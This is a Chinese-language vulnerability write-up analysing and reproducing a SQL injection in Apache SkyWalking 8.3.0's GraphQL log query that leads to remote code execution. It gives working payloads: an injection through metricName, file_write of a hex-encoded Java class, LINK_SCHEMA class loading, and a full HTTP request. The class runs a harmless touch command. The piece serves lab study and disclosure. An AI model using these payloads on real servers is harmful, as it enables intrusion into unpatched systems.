一、环境:1、https//www.anquanke.com/post/id/231753 (参考文章地址)2、https//www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(下载地址)3、…
一、环境:
1、https://www.anquanke.com/post/id/231753 (参考文章地址)
2、https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(下载地址
3、https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7(源码编译教程
4、https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz(源码地址
5、https://www.runoob.com/w3cnote/java-class-forname.html(Class.forName原理解析
6、远程调试机以及攻击机(win10)、服务端(ubuntu)
二、搭建
1、解压该文件 进入bin目录,如下
2、Liunx启动startup.sh
,windows启动startup.bat
3、启动后访问ip:8080(默认端口是8080,需要修改,可进入webapp目录下,修改webapp.yml),如下
4、出现下图即成功启动
三、分析过程
1、需先了解一下GraphQL流程以及查询语法的构造(这里我用自己的语言总结下,学的不是很深入)
GraphQL主要分为4部分分别为:
(1)root.graphqls
(定义查询)
(2)AuthorQuery.java
(GraphQLQueryResolver
)
(3)AuthorService.java
(Service
)
(4)实体类Author
(实体类)
整体流程:首先需要根据root.graphqls
构造符合请求格式的payload,然后通过AuthorQuery.java
传递给AuthorService.java
,最后AuthorService.java
会调用实体类Author中的方法进行数据处理,然后返回结果。
注:
root.graphqls
是定义请求参数类型与格式的文件,例如下面两个句子
type Author {
id: Int!
name: String
photo: String
}
定义Author中返回数据的类型
query{
findAuthorById(id:1){
id,
name,
photo
}
}
定义query查询的格式,其中findAuthorById
方法要与AuthorQuery
中定义的方法一致,这样才能定位到AuthorQuery
中。id:1是请求参数,id, name,photo是期望服务器的返回数据,可自行更改。注意上述两者可能在同一文件,也可能不在同一文件定义(一般是root.graphqls
文件,如果不是的话,会有extend字段,要继承初始化的root.graphql
,如下图)。
AuthorQuery
相当于是接口开关,里面会有这么一段代码,相当于开启GraphQL
查询接口public class AuthorQuery implements GraphQLQueryResolver AuthorService.java
复制对传进数据的处理,类似加减乘除运算一样
实体类Author(实体类)一般是进行赋值作用,即对传进的参数赋值给新变量
个人理解和都可以对数据进行操作,看代码放在哪里而已。
2、跟进skywalking
代码
(1)开启调试(这里使用win10当调试机)
文章开头有教程,就是把源码下载解压之后,在skywalking
目录下,直接使用以下命令
./mvnw clean package –DskipTests
然后一直等待就好了,需要完全编译成功才行,过程一般会很久
(2)编译后的文件夹会多出一个target文件夹,如下
(3)使用idea新建项目,选中该文件夹即可
(4)点击idea下运行,编辑配置
一开始进来是没有远程调试的,直接点击左上角+号,添加远程端口
配置如下(其实主要是添加个远程主机地址和端口就可以了):
(5)在服务器端启动skywalking
服务(记得,调试源码与你运行的源码版本需要一致,运行8.3就要下载8.3的源码去编译调试)
首先要在apache-skywalking-apm-bin
的bin目录下编辑oapService.sh
,添加远程调试命令,windows的就是编辑oapService.bat
,如下
直接/CLASSPATH搜索即可
添加的命令就是上面图里的远程JVM的命令行参数,如下
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5006
(6)添加好了之后可以先直接运行startup.sh
启动服务,然后再在需要的位置进行断点调试,不过我这边修改了oapService.sh
之后,好像需要手动启动./ oapService.sh
才能启动监听。如下,确定下端口服务都起来了
(7)然后回到win10的idea中,点击主页面右上角图标进行调试,出现下图即成功
3、分析skywalking
漏洞
根据原文章可知漏洞点在oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java
文件中
(1)直接在该处断点
(2)开启调试,发送以下payload(payload构造下面会进行说明)
{
"query": "query queryLogs($condition: LogQueryCondition) {
logs: queryLogs(condition: $condition) {
data: logs {
serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content
}
total
}
}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
"endpointId":"1",
"traceId":"1",
"state":"ALL",
"stateCode":"1",
"paging":{
"pageNum": 1,
"pageSize": 1,
"needTotal": true
}
}
}
}
可以看到metricName
原封不动的被带进sql参数中
继续跟进sql,发现被带入buildCountStatement
跟进buildCountStatement
,看看返回的结果
直接把我们的注入语句返回,然后使用executeQuery
函数执行返回。
直接把我们的注入语句返回,然后使用executeQuery函数执行返回。
(3)回溯
回到一开始,我们的注入点是在queryLogs
函数中
往上追,看看是谁调用它的,可以看到\skywalking\oap-server\servercore\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java中对queryLogs
进行了调用
但是还是看不到入口,所以还是需要继续往上追,一直到
E:\skywalking\skywalking\oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
可以看到一个熟悉的句子
implements GraphQLQueryResolver
实现GraphQL
查询接口,所以我们可以直接构造GraphQL
查询,发送至服务器
4、分析构造payload
(1)前面说过GraphQL
查询的整体流程,四个部分我们已经找到3个了。如下
H2LogQueryDAO
、LogQueryService
、LogQuery
(2)现在要找的是graphqls
文件,看看是怎么构造查询的
我先找了root. Graphqls
,发现没有
直接搜graphqls
,也很好猜,log肯定是,有两个log.graphqls
,其实都是一样的,随便选一个看看是不是。
看到queLogs
函数,基本确定了。因为一般跟LogQuery.java
文件中的函数会一致,过程中也不会存在其他同名函数,不然就找不到路径了
(3)分析log. graphqls
1、期待返回的参数,logs和total,后面是类型,有感叹号,表明为非空,就是必须有
2、Log匹配上面logs取值,上面的Log使用[]框柱,网上解析说是对象类型,非空的话,就只需要在Log里面随便取一个参数就可以
3、LogQueryCondition 看到input类型,就知道这里都是要我们提交的参数值,其中queryDuration参数可以不提交,可能是服务器那边会自动提交。(尝试提交会出错)
4、可以看看Duration类型的构造
5、enum表示后面的参数取值只能在它定义的值里面进行取值
(4)分析网上的payload
自己的理解如下
1、首先使用query表明自己的动作是查询
2、后面跟的是自己定义的函数queryLogs,这个是可以随便起的
3、($condition: LogQueryCondition)中的$condition是定义的变量,LogQueryCondition这里是变量类型
4、logs: queryLogs(condition: $condition),其中logs:是queryLogs(condition: $condition)的别名,可要可不要,queryLogs(condition: $condition)才是开始请求的构造,对应log.graphqls部分如下
这里的$condition对应我们上面创建的函数变量 ($condition: LogQueryCondition)
注意:LogQueryCondition类型已经在######
log.graphqls写死了,所以这里传进来的变量类型也只能是LogQueryCondition,而LogQueryCondition类型的构造在上面已经看过了。
5、接下来是data: logs,data:一样是别名,logs和下面的total都是期待服务器返回的数据,对应log.graphqls部分如下
其中logs对应的Logs构造如下,因为是非空,所以从里面选中一个就行,或者全部写上。(每个参数使用空格隔开即可)
6、variables,构造参数,此处对应的是LogQueryCondition类型的构造
总的来说:就是variables构造请求的类型值,也就是LogQueryCondition,然后传入queryLogs函数中,最后期待返回logs与total
还不懂就看下面的例子,自己去领悟吧
最后condition带的参数metricName就存在注入点,之前已经调试过了
四、复现(此处用ubuntu进行复现)
1、开启服务之前说过了
2、利用注入点上传class文件
上传前
上传后
3、利用注入点执行class文件
执行前
执行后
注:上传的class文件利用注入点执行一次之后即失效,需重新开启服务验证。
五、远程代码执行漏洞
1、根据漏洞文档:https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
可知h2数据库中存在函数file_write(blobValue,fileNameString)
该函数作用将16进制数据写入文件中。
2、搭建本地H2数据库(下载地址: https://h2database.com/h2-setup-2019-10-14.exe),直接双击安装即可,%E7%9B%B4%E6%8E%A5%E5%8F%8C%E5%87%BB%E5%AE%89%E8%A3%85%E5%8D%B3%E5%8F%AF)
启动h2数据库,如下图
3、使用file_write验证可直接创建文件
4、根据以上编写简单class文件,如下
5、直接在h2中使用file_read()函数转成16进制,如图
6、使用以下payload直接提交
POST /graphql HTTP/1.1
Host: 192.168.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 2090
Origin: http://192.168.27.135:8080
Connection: close
Referer: http://192.168.27.135:8080/
{
"query": "query queryLogs($condition: LogQueryCondition) {
logs: queryLogs(condition: $condition) {
data: logs {
serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content
}
total
}
}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS union all select file_write('cafebabe00000032002a0a000a00160a0017001807001908001a08001b0a0017001c0a001d001e07001f0700200700210100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001f01000a536f7572636546696c6501000e546f75636846696c652e6a6176610c000b000c0700220c002300240100106a6176612f6c616e672f537472696e67010005746f75636801000f2f746d702f737563636573733132330c002500260700270c002800290100136a6176612f6c616e672f457863657074696f6e010009546f75636846696c650100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294900210009000a0000000000030001000b000c0001000d0000001d00010001000000052ab70001b100000001000e000000060001000000050009000f00100001000d000000190000000100000001b100000001000e0000000600010000001200080011000c0001000d000000680004000300000023b800024b05bd0003590312045359041205534c2a2bb600064d2cb6000757a700044bb100010000001e002100080002000e0000001e000700000008000400090013000a0019000b001e000e0021000c0022000f0012000000070002610700130000010014000000020015','TouchFile.class'))a where 1=? or 1=? or 1=? --",
"endpointId":"1",
"traceId":"1",
"state":"ALL",
"stateCode":"1",
"paging":{
"pageNum": 1,
"pageSize": 1,
"needTotal": true
}
}
}
}
7、服务器生成class文件如下
8、根据漏洞文档可知h2数据库中LINK_SCHEMA函数会触发类加载行为,如下
其中的loadUserClass函数会使用到Class.forName()去加载类
9、Class.forName()解析
返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果 initalize 这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。
10、再看看loadUserClass怎么使用Class.forName()的
可以看到initalize 为true,也就是说,当第一次使用这个类的时候,会进行初始化
11、初始化的重点在于类当中的静态代码块会被执行,所以我们把代码写进static块让它执行
代码如下
javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success123"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
public static void main(String args[]) {
}
}
注:文件名要与class名称一致,不然生成类时会报错
12、生成恶意类
javac evil.java -target 1.6 -source 1.6
13、最后执行payload进行RCE(漏洞文档已知第二个参数是class文件名,此处直接代入即可)
{
"query": "query queryLogs($condition: LogQueryCondition) {
logs: queryLogs(condition: $condition) {
data: logs {
serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content
}
total
}
}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','TouchFile','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --",
"endpointId":"1",
"traceId":"1",
"state":"ALL",
"stateCode":"1",
"paging":{
"pageNum": 1,
"pageSize": 1,
"needTotal": true
}
}
}
}
- 本文作者: 菜菜子
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/908
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!